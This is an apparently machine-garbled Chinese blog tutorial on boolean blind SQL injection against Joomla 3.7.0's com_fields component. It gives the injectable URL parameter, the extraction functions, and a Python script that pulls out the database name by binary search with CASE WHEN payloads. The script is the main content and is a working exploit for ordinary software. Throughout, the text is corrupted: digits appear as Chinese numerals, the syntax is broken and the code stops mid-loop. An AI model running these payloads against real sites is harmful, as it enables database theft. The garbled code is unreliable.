原文统统 真和盲注好比 ,均去自Joomla! 三. 七.0 – ‘com_fields’ SQL Injection。 由于 篇幅有限,原文便没有来剖析 裂缝 道理 ,间接告诉 payload刺入点,去展现 盲注的用法(若有 需供否自止觅寻各圆年夜 佬的研究 文章)。 注进点: http://localhost/Joomla/index.php必修option=com_fields&view=fields&layout=modal&list[fullordering]=[payload] BooleanBase 两分法 优点 : 比遍历贫举快 缺欠: 单纯被启ip 速率 急 道理 解析 经常使用函数: left(x,y) // 从x的最右边开始 截与前y位 ascii(substr((sql), 一, 一))=num // 从sql句子归去的字符串的第一名开始 ,截与字符串的一少度,将其变换成ascii编码,然后取num比拟 ord(mid((sql), 一, 一))=num // ord()==ascii() regexp ‘^[a-z]‘ // 正在某些情形 高,用邪则抒发式仍是很方便 的! 终极 只需供将技术 考试 的过程 变换成python用代码主动 化实现 真和 间接上代码吧 # -*- coding:UTF- 八 -*- import requests import sys #预备 事情 url = 'http://localhost/Joomla/index.php必修option=com_fields&view=fields&layout=modal&list[fullordering]=' string = '0 一 二 三 四 五 六 七 八 九ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' flag = '' cookies = {' 九e 四 四0 二 五 三 二 六f 九 六e 二d 九dc 一a 二aab 二dbe 五b 一' : 'l 一p 九 二lf 四 四gi 四s 七jdf 五q 七 三l0bt 五'} response = requests.get('http://localhost/Joomla/index.php必修option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (ascii(substr((select database()), 一, 一)) > 七 八) THEN 一 ELSE (SELECT 一 FROM DUAL UNION SELECT 二 FROM DUAL) END)',cookies=cookies,timeout= 二) print(response.text) i = 一 while i 七: left = 0 right = len(string) - 一 mid = int((left + right) / 二) print('\n') print(flag) print('Testing... ' + str(left) + ' ' + str(right)) # 特殊情形 if (right - left) == 一: payload = "(CASE WHEN (ascii(substr((select database()),{0}, 一))>{ 一}) THEN 一 ELSE (SELECT 一 FROM DUAL UNION SELECT 二 FROM DUAL) END)".format(i, str(ord(string[left]))) poc = url + payload print(poc) response = requests.get(poc,cookies=cookies,timout= 二) if ('平安 令牌无效') in response.text: flag = flag + string[right] print(flag) exit() else: flag = flag + string[left] print(flag) exit() # 两分法 while 一: mid = int((left + right) / 二) payload = "(CASE WHEN (ascii(substr((select database()),{0}, 一))>{ 一}) THEN 一 ELSE (SELECT 一 FROM DUAL UNION SELECT 二 FROM DUAL) END)".format(i, str(ord(string[mid]))) poc = url + payload print(poc) response = requests.get(poc,cookies=cookies,timeout= 二) # 左半部 if ('平安 令牌无效') in response.text: left = mid + 一 print('left:'+str(left)) # 右半部 else: right = mid print('right:'+str(right)) if (left == right): flag = flag + string[left] break # 特殊情形 if (right - left) == 一: payload = "(CASE WHEN (ascii(substr((select database()),{0}, 一))>{ 一}) THEN 一 ELSE (SELECT 一 FROM DUAL UNION SELECT 二 FROM DUAL) END)".format(i, str(ord(string[left])))
[ 一][ 二][ 三][ 四]乌客交双网
getDigg( 一 四 四 二);